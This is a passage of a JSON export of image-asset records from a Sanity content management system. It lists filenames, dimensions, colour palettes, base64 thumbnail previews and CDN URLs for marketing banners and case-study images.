MLy264D8JAI5eaS+o7DsNO20baws7W5kVcqbgdvJFSyTbr7lsPbg019PurQ54lBKTJnmQfFCW6Vt/I42rDQ9kzSdogVAHXNaqPru0dFs7tIY7ksREpYhurd61UK1M7xNOO4TqD5EPqc7rpsrFEx7TYGevKjJou8tS029dnneVI5mCIzfFef8AlIC6uXl0u4Z8cYjKj66UUrkkXNxn9jdP7RLNA6kNLvKjUmBUysR7fuNwL+Si065ZZ/lmOMlSfFaq56H7hab0609ZIucJaLI74rVLdTjMQrlgGwNz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c404d","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76422b","foreground":"#fff","population":4.98,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#76422b","foreground":"#fff","population":4.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#89918b","foreground":"#fff","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6a985","foreground":"#000","population":1.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae7d56","foreground":"#fff","population":1.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b8201d","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"yen-pham-playing-jenga.jpg","path":"images/sczeoy4w/production/797fc05d4a7f615593587f90fedec36d4267632d-1349x2024.jpg","sha1hash":"797fc05d4a7f615593587f90fedec36d4267632d","size":1662416,"title":null,"uploadId":"AVu6LG7Trxy6mLRUcA3jFvYqyhQnuHm8","url":"https://cdn.sanity.io/images/sczeoy4w/production/797fc05d4a7f615593587f90fedec36d4267632d-1349x2024.jpg"} {"_createdAt":"2023-12-15T10:44:15Z","_id":"image-9cd24fc90e6aa1eb6744739a54d6f74716b649da-1200x628-png","_rev":"7oPGYyiRG7hm5kP9hXtgfy","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T10:45:03Z","altText":null,"assetId":"9cd24fc90e6aa1eb6744739a54d6f74716b649da","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACW0lEQVQokT2S+0tTcQDF9ycGgb8USZnYoCAxCX+LCAoyxKAH/SBpGAVZmi7dw83NadM5N/e4e9097u7ddu/cyxLd5rZP3Lv0hw98H5zDOXBMYv4Mf0DG7U6w6YyyuRnB6Yzi3UkTjh2TVzooGshq30DR+ojSX1zbQeY/fWPxy098gSSKdk6l2ceULbQ4PFLxeNPYN6NYbWHsjiju7RQHwTJx8ZR0vkVW7hiGWbnFht3Py+czPHn0mKnxSaan37DrT1CudTHllA7BSJWtnTyOLRG7K419K43Tk8Xzu4B3T8G7V8QfqpDKnROKVZiZnePByBivJieZGhtj+OYd5hdXkMotTJlCG19AZd2RZs2WNLDYk/xypAzWbAlWrQlsWxkC4Sq+QIGnz2YZHrrBi/EJJkfucv3aEG8/fEYqnWHS6+gJVq1xfliifF+LsGyJsrIuXKH/2d1ZDiM1osk6cwvL3Bu9z8SoGfOt25jND1mxuCkddwaGuwdlI4HVpSNic2WMu27i8ORwevN49xUiyRPyxTb7oRwfF5Z4PfOO2Zn3fF3aQBA11HpvUPkwXGUvoBqVgrE6oVhjgNAgHG8SSTYRxCYZ+QxZuyAt/cF/VMDrS3AQypMpnKDWu2j1PqaC0iabqBGPVRBSDUTpDKnYRSr1kEpdCuUeitalVO0aolL1gox8iiDWEcQGueK5kUyfjNboYVKKbeR0lZSgEkvWDMPB3riiVAWtoQv6hrh0fIGstQ30s/6mmxk7VNQecrGNJLfIKW0j1eWILylW+pRrulkftdY3quniQaoBlf/8A2S3sXVEIzsTAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343959","foreground":"#fff","population":1.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34346c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ecfc","foreground":"#000","population":36.09,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfafac","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ecfc","foreground":"#000","population":36.09,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b709c","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec584f","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Brian Wagner Social Banner 2.png","path":"images/sczeoy4w/production/9cd24fc90e6aa1eb6744739a54d6f74716b649da-1200x628.png","sha1hash":"9cd24fc90e6aa1eb6744739a54d6f74716b649da","size":202608,"title":null,"uploadId":"QS1E25mlr9jc1vclUBMP74hrnc6aeUOz","url":"https://cdn.sanity.io/images/sczeoy4w/production/9cd24fc90e6aa1eb6744739a54d6f74716b649da-1200x628.png"} {"_createdAt":"2023-12-15T10:44:15Z","_id":"image-a36aad98bd892c65b20612ec2d1c5018bbcf7aeb-1200x628-png","_rev":"sg5cBJWkRHo7pkcz4IA0Mf","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T10:45:11Z","altText":null,"assetId":"a36aad98bd892c65b20612ec2d1c5018bbcf7aeb","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACV0lEQVQokVWS60tTYRzHz58YBL4pkrKyQUFlI3wXRBRkiUEXeiFpGAUJKd530d2cuunUzbmdc7ads3PZzc3M2EW3feKcVdSLD18eeH7f5/v8+AqyUieyreHzp/B6E3g8cVuDIYn9gwqKfoZewkYrWtpFVk9ZDcSY+PiVqc+zbGyn0UsNyt+7CNl8k529Ir6AyIo7wfLKPm7PgX2OxEwO5VMkpYmsNlGMNpl8gyVXhOdPR3n04CHD95yMjLxmPZKiUG0j5PQzduJHeANZlr0irlUJjy+D159lLaQQ2NQJRUzC20UOxFNiiRKjY+PcGRjkhdPJ8OAg/ZevMTE1g1poIsj5FuFogQWXyNxyinmXyKJHYsEtMu9K27roFnGtZdiJV9mK6Tx+MkZ/3yWe3R/COXCdixf6ePP+E6pZR5CUBr6wxuxi8j9mfuvcSsrG48+xmzwmKR0zPvmNWzduM3TTgePKVRyOu8zM+zArZwiS2iS4ZfTSuEQ70Z90FlZaty9LOGqSSJ+Q1ZtsxXJ8mJzm1cu3jI2+48v0Ekm5RLHWQbCWvb5lsOhOs+SVWAupBDcNAhs6/g3dfiy6X+Ywc0JGq6MWWkjqDyJ7eYIbKaK7Cpn8CcVam1Kti6DkGyRiButBmdCmyl6yhpirI+YaNtZKFLOFeXRuDxmVczLaT5JyjaR8TM5o2MmsypSOOwia3kRNlTmMm8STFSSljlbs/u2ehVmxLvewhi1zrdSyMSvWQx3bzO6hXuygGS1UvWmXOF9o24b/YpS7FKqWWZditWt/zRrupepR/s0vQF2usU97mHwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333859","foreground":"#fff","population":1.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34346c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ecfc","foreground":"#000","population":33.36,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfafac","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ecfc","foreground":"#000","population":33.36,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b709d","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#343d6c","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Brian Wagner Social Banner 1.png","path":"images/sczeoy4w/production/a36aad98bd892c65b20612ec2d1c5018bbcf7aeb-1200x628.png","sha1hash":"a36aad98bd892c65b20612ec2d1c5018bbcf7aeb","size":215720,"title":null,"uploadId":"vR1rCCf6rgcyBB4AQc4EORhrpGHugJA9","url":"https://cdn.sanity.io/images/sczeoy4w/production/a36aad98bd892c65b20612ec2d1c5018bbcf7aeb-1200x628.png"} {"_createdAt":"2024-09-17T13:58:59Z","_id":"image-b14a1b33a59a9da215f9d5efd99fbd54feef468b-24x24-svg","_rev":"pJF45R2ZhhHEU2zZ9CyXpL","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T13:58:59Z","assetId":"b14a1b33a59a9da215f9d5efd99fbd54feef468b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKO*UMsn}Csn1e65fQ=IfQE$12WWWWWWNv=IfQAYfQ,=1ea|AYa|,=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdklEQVQ4jYVUz0uVQRQ9yiN8D0nFRSFChFCtSrClLzeGhJHvzHtpRlQQCP0VmVhLf2xaKC2CCjJ4rUor2kUrV9HCdX/InLgz93t8vvzxwWHmu3PumTv3zlwoAJGAjbKR6En/DpsXX7e9ww1AbAJqANDsIbEjUXxlW1lcLR9njXQH0O1kqIgYFHFexJD/Hydoa0MxcwcVUNH9rAXdTRHWFDAeiaciVkTMixg+QXDYOSsyn4BxBVTtpNA8emPANQW8EPEtEu1EyrsfKeiRGadtPmLyvaoWeovoHivgq4jXIpoiLomoatFF/Dgpb410oqpzmjH7mK9p1MxhRMQzEV9EPBTTBlnoJqCm57mwBa+qjQ3U3GfXNUaMdEXEmohPnpdRBZxLyW6gEqezqEUXG6XiZc6oiIWYfU3jshEmRGyL+CliS8RLEauRWPK1fs11outXwHXZWsCqc7fcdzsSE7ZzXcRHEX9F7Hv4hj0RGyKm/GiGKbftFbxI7Mfsaxp123nG8/dHxKaIe46NSPwQ8UrEA4fNzbZe4m26r2nMmGCIufTvREyWorHI34o4iMQvZRy4rW68mHmTIt77lQt25JYfwZJ6IVXVYPNs+y3ig8Pma7GLFzPPNFpmmBaxI+KNR1WO0GztSMwpo30Cb8e0rHJjCngu4rsnvJNDty2LuOhYPoU3ZhH2ibjhC7tdWPe1WgyHqlxUeLeL11e0nn7R7xfT/TKkexiLe5gv93+8SCzZ/UsaqR8+AWSjvQpiwJuCYSDaq7DG+hnQmeN56fWcBfTICMXut45orsULsdGenVX1BF5M/XABiIVDbk091to75Ia398XTeZa+f0koYOPk+n3DAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343c24","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e2105","foreground":"#fff","population":1.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5410","foreground":"#fff","population":2.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e230a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f05430","foreground":"#fff","population":1.74,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#99614c","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5410","foreground":"#fff","population":2.6,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"glasses-02 (1).svg","path":"images/sczeoy4w/production/b14a1b33a59a9da215f9d5efd99fbd54feef468b-24x24.svg","sha1hash":"b14a1b33a59a9da215f9d5efd99fbd54feef468b","size":963,"uploadId":"8ISfsKo19knGFoTsDRlNwCDZx71u8YqQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/b14a1b33a59a9da215f9d5efd99fbd54feef468b-24x24.svg"} {"_createdAt":"2023-09-06T20:23:30Z","_id":"image-f5af3c3a6727d948c77c30feedf75908aaaebbc5-1200x628-png","_rev":"7lO65z9OheRFnytB4YmfX8","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T20:23:30Z","assetId":"f5af3c3a6727d948c77c30feedf75908aaaebbc5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBB:5y0vvzk]+W%bOw]x15o#%2MwE+$f$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACyUlEQVQokUXP2U5TCQCA4fMCTpTSCvS0WlCWIbhALYsUCgWPpQv0nC60pZXSFlugMiUwCII6nWkNIBMVcZkxLnG5QM3MiCNxiTMXRmNiol54pTHxwuf4jUviC3z5f2FDsQ9DVZQa4xB1TRmMzRPU7Z6krmmK2qYZGtt+xWKbp3XvcVqk32mzn8HqvIbkuYcn8ohM/E/+GEnz/5SHd3kbQkGJn8rtg5itE+ztPoJDyWHrziG58kiuOXr8p/D2ncXlW8bpO4vSdxnvvlv4Yw8JJR6THLjCsdgEN0Yi/J0JIhSKvV/qrF3TOJQsLk8euzuPU5nH5VlEDiwhB5dxek/j8p1DDl6iN3oT/8AaNuUOTuk0GccoOSXOWPcogloXYNuur6Dd/QvttsPsMh/E2DyNqeUwDZYs9ZYc9ZZjNLYtYJaWsHuu0RNapavnJtGOI8xbZeatbobNgwhqsZfq2iStnZN0OmYxtfzM5sohigxJSspG0G7NIJaPo6s4iL5qloraOczSZez+fwkE75CXJ7lra2DFWs9cazfC+iIvxYY+Sn+MsbVmP5sqB9HoY6i0cQp1KTSb0ui2jFJe9RNV1RPUGPNYuq4jhx8Tif3HIf8iV7ucXOncw6ylH2GdWmG9xkNBsQ+VNohKG0GljVKoS6DWD6EtTWPaOUSoI07KESfsnMEbWCGcfMbA8AtCgVX2SSfo71jA0XYeYYNGRixRMJQG0ZdHKdoc/QqKcQr1KfRlIzib4yyG/dw+4ObiaJrx4RWSY69Jjb/B3feExs57mNrXqGtfQyjQuCkVZSorwmypTlBSFkMlfgd138ALCYVXRyWe/hZnYfo2YzNvGZt5jzf6HNOe++ywrLGj9S7CD2oZ1UYFtdaPWhdCJUYo0EZRiZ+XUxQZ0jQbk5zs9/I218Gb4wMsZ/9hKvuByexHAomXNEgP2N6yyjbzX3wCIOiWVuALOL8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4476","foreground":"#fff","population":1.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09046e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f18f3e","foreground":"#000","population":2.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95c3","foreground":"#000","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f18f3e","foreground":"#000","population":2.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5caf","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"General social media image template Color.png","path":"images/sczeoy4w/production/f5af3c3a6727d948c77c30feedf75908aaaebbc5-1200x628.png","sha1hash":"f5af3c3a6727d948c77c30feedf75908aaaebbc5","size":240322,"uploadId":"xl50X4usaRVjfTuwfTukIyazuYW3WxOc","url":"https://cdn.sanity.io/images/sczeoy4w/production/f5af3c3a6727d948c77c30feedf75908aaaebbc5-1200x628.png"} {"_createdAt":"2023-11-10T08:15:32Z","_id":"image-a7817ece7876969a9e82366bb88b5f5d4c196ae6-1200x628-png","_rev":"zQLpFF1wAcsbQxCTJMsEtc","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T08:15:32Z","assetId":"a7817ece7876969a9e82366bb88b5f5d4c196ae6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69tQa4m?7xr01~pIW%LxsD+00^%a$Wa--","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACoUlEQVQokWXSS1NSAQDFcT5BGwcxuLzlIRcBSRnRwAmEiyAoYkNSU6Omk+WrQhQfoMgFn5jaS8pp06amWtSq+nD/RretzvbMOT+F3vKQoXiBqUmZqcka01P7jI5VsLmWUOrmaNUvoDI+p828grq9iMZawuKWCUrHpO81SI4f0hOsoXeUuNleRKE2TBDsnyWbWiaXfkkuvUIimsfZtYTevoyhI4/RsYreUUSwbWAQtxkcfsVS/j2rxQOKmyfMLV3gDx0gWLdQKIUsnlszRAaXicXySFKBcKRIILxFf2iH24M1/KEaXf1V2l3biD0yM88+0DhpIssy5+eved/8Rm7yA0anjEKpncDte8YdqUg4vkk4XmYwUSGalImNHDCUbhBNNQhKhzh9VTz+GgsvPvLm7SVnZ6d8/fqF7z/+Mjv/GYvnGEWrbgKvf4FIYgMpVUZKVYiNyAyN1ImnDxnOnJC8e4Y0coqnr47dWyWTO6ciX3DR/MTPX39oXv4mlW1ich2hUOlz+ALPiY+WSaR3SIxVGc7skcwckBw/ZjR7xviDdyQy57h7r8bfxuOvk842eFFoUt79wv3pS5y+Olr7LgqVboJb/gVCsTWCkTVuh9cJREoMRHcIRHYZiNYJxQ/pC+9jcW+jtZexdtXpDhwxIJ0wEGvQ1VfHKJbRXJ+ivkun4xE+31M6u+cxO+ewuubx9uZx9RQwO1cwimsYxHUE6wY6exm7dw+P/xh37z6dviqO7gom5xZqywaKFtUYFv04YscjLM5ZNOZpdJYZ3N55RPciGvMirVcOTSvXzgRbCYNYxdRZxSiW0DvW0XVc+VxDfdXwhnKMFlUGpSaLUnufFuEhrdpJBNNjBPMT2oyL/8EWbDvX2WZeRWXKozK9pM1cQGMr8w+cn4giUEUH5gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344474","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.97,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9bcc9","foreground":"#000","population":9.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1c9f4","foreground":"#000","population":2.44,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e7295","foreground":"#fff","population":4.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7713d","foreground":"#fff","population":0.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo Wanis Social Card 1.png","path":"images/sczeoy4w/production/a7817ece7876969a9e82366bb88b5f5d4c196ae6-1200x628.png","sha1hash":"a7817ece7876969a9e82366bb88b5f5d4c196ae6","size":266706,"uploadId":"o7Si1IsvWn8ttf5SjgzqAHwH4L3ABFgY","url":"https://cdn.sanity.io/images/sczeoy4w/production/a7817ece7876969a9e82366bb88b5f5d4c196ae6-1200x628.png"} {"_createdAt":"2023-08-31T10:33:43Z","_id":"image-31b50f256b528f70e81fd35c9ee8519bc71e0e20-1920x1037-png","_rev":"pv5QzE4Lm79BNhDrjlNXDD","_type":"sanity.imageAsset","_updatedAt":"2023-08-31T10:33:43Z","assetId":"31b50f256b528f70e81fd35c9ee8519bc71e0e20","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MeI}^h.7=|nSxZ?wozX3WnNH#rwKInbFni","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADCUlEQVQokS3P+1bSBwDA8d8D7VLbcYdDMbXJpujcwPTUhqbhJbOi5SULmjlx3vDo3My7aF4AlYt4wVAI1OQACgjI1U4PsH/2Bt+ddfYCn/P9CuF4hHgyRjqbJJNLk0wniV/EicbPCZ9HCIVP8QcDHPtPOHx3jPf4ELfPy4HXg8fnxuN14XzjYMNiZGl5FiGeipPKJsleZkhlUpxFzgmdxQidJfAHY3h8Z9gdRxhNblZNbpaN+xheO5lb3GTNYuPN/g6u/R02HRuY15YQ/ivLXqbJvc+SSCUJRuKEE++JJD/gj+ZwHSVZXvczMetmbMZF3/gWL4es/Pr7EsOj4x8R594m2zs2LFYTQib3P3iZIXoRYy/gx3IaYD54xOhbJwNbNjoWFmkZm+Su/k8qevr48bmOql80PGpv5dW4HrvdjGPbitVmRkhlLkhnL8jmUgRjp0wdWFA7JrllH6PEqKNophXJyD2u999H3PMAkbYeSWcdUrWSBrWKP0Z6sWysfFy22kwIsUSEaCLMRSrGSTRIr3OFH0zdFBnbEa084RNDM19MKhGN3kI8qKRUV0tdTyMPu5vp73+GyTDOnmONve0NtuwmhKMTL29PPIQiAXyhdzy1GJDMaiicbqJg6g6imQYkU3cRDXzPl52FlLaW0fJYiaa1ienBLtzmeU5dNgL7dg531xGsO1tYd+3sHeyysrZCtbaVTxsrKHgs47amgDrdd9T2VSJ7UswVxRXExZ/zU3khKoWMtvqfWRzqwmucxLc+y8H6LIJ52sH63CKLk2Non3dQXCYjL19EzZ1rDGuvsjCQx/xIGd0aOTcV+Xwj/ozKG3ncLpZQXnSdugoZXferGexoQv/iEULo3hCBtk62u9QMdz6goaGe6voGXmpVrA5/y6Y+D6v+BgtDNfS+eIiquoqKUinykiKkBWKufXWVkkIRtVWltKiqEP7Jl/K3QsqHtko8+nbGx/5iYMLIxJwB84Qa429fY9Dms/rqKUbTazS6PhTKJspv1iCXyymVSVHIy2hurOZZezP/Al1rVpm1w/XtAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#294a2f","foreground":"#fff","population":1.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#22683b","foreground":"#fff","population":2.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bab5aa","foreground":"#000","population":5.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bab5aa","foreground":"#000","population":5.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1d5f1","foreground":"#000","population":2.44,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#65b083","foreground":"#fff","population":1.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#25b28c","foreground":"#fff","population":2.33,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Firefly 20230831133335.png","path":"images/sczeoy4w/production/31b50f256b528f70e81fd35c9ee8519bc71e0e20-1920x1037.png","sha1hash":"31b50f256b528f70e81fd35c9ee8519bc71e0e20","size":1870810,"uploadId":"m2ID1tJ8bqVWZGhokjNgnaexsxTCd8xW","url":"https://cdn.sanity.io/images/sczeoy4w/production/31b50f256b528f70e81fd35c9ee8519bc71e0e20-1920x1037.png"} {"_createdAt":"2023-08-31T10:42:53Z","_id":"image-f1d69a76befc0edca8288051a275c95dc7566373-1695x915-png","_rev":"6SVjZAesGXll0xWW26ZuSF","_type":"sanity.imageAsset","_updatedAt":"2023-08-31T10:42:53Z","assetId":"f1d69a76befc0edca8288051a275c95dc7566373","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MeI#_a.7-paOxZ_4t7oHf5RkwhsVEKSge.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8524590163934427,"height":915,"width":1695},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACpklEQVQokQXBizsaAQAA8Pt7ttkw80jy+kgebWJ9w1SWsRj2aaTJWA+P2lmTGOfELtPD1SlZlKh8RYrq6q662L+y3w+4xe9wIpmhiFw+S+bIFJFKppJxPB67i11HI6HrcDAcCoQuz4N+X+D8Iug793vcJ07UZkKMMIBn8EyOoO5zZJaMxZM3Mfwmhl9FEj5/9PDo0mzx7VvO9kzeXcRtQBxWG+bxHnu8LocTtViNQIYiqHw2/0ClSSJyl4qnHxLEv+tE3hMk9w6uN2CfbsuzpHfJNfbZBSOoXbdYjW63w3WM2TAzkKXIXD5D3WcT6eRp5OrwNopEQ6v+U9DllO4aR3WbA6Ceq1RzZPNvxLOjExNrehDDzM4jux2zAJlcOpsjchR5k4xCZ7Zx11aPQ99qmmfCkmrtUNXicKVitFw2QJe+a/jEE44Jtcsq9GDP4UDtdjOAE4lk+o7M4OFEZMG9325WNJgk5XviJ4ah4l+9FdoumobXrOzjKweG5SLVvOQPvOp2WE5cqPPQBATDfn/4Ipa4CURDUmy32vC1DhbVbApK4QE6JKxQs0um61sm2R/FvJlJ0eb3Oa95O+rBIt7DwN8DYN+KoEfW0zO3CTUL5iQFIm61uIUrq+1VsXoXuU1i1rPOIlpzYc+ruv6OVslgLwLOBS3Qpc3gsxmAZVABQSubGzrZ9BSzrfk5o+wtr1IjK95Wl8Fa9pysg8Nh1NGevq4v7WYx2pmM99w25Vjfj+nhn/JxQKmY0us0Ou3SjEwi6Bd2C/pmpHyjpg7TFKFqBrzU/e2LiN/FecmsYTfW1NLLyooKGqtKeB1MEZ8DLGrk8A60b0J2kG1wDVLpfmvX1wygAPr8aGXkMaQehA3rIxNT1axOWm0zvYpeUlJIp7/gcpo+CLn/Aa55ek64ECqPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#634a39","foreground":"#fff","population":4.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#21673b","foreground":"#fff","population":2.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#634a39","foreground":"#fff","population":4.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bdb2","foreground":"#000","population":3.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0b9da","foreground":"#000","population":0.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64b181","foreground":"#fff","population":1.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#25b28c","foreground":"#fff","population":2.43,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"vidio-case-nobottles.png","path":"images/sczeoy4w/production/f1d69a76befc0edca8288051a275c95dc7566373-1695x915.png","sha1hash":"f1d69a76befc0edca8288051a275c95dc7566373","size":1140506,"uploadId":"rNLgW0lTCX8Tek5l6WTLw9oYCg6nI8Wg","url":"https://cdn.sanity.io/images/sczeoy4w/production/f1d69a76befc0edca8288051a275c95dc7566373-1695x915.png"} {"_createdAt":"2023-09-08T09:24:43Z","_id":"image-6ce1f6a98646617a3c3854042ba320638432826b-2400x1256-png","_rev":"jBJgpqpGruZvOgVMUEq3Dn","_type":"sanity.imageAsset","_updatedAt":"2023-09-08T09:25:29Z","altText":"Meet us at Google Next London banner with Partner of the year 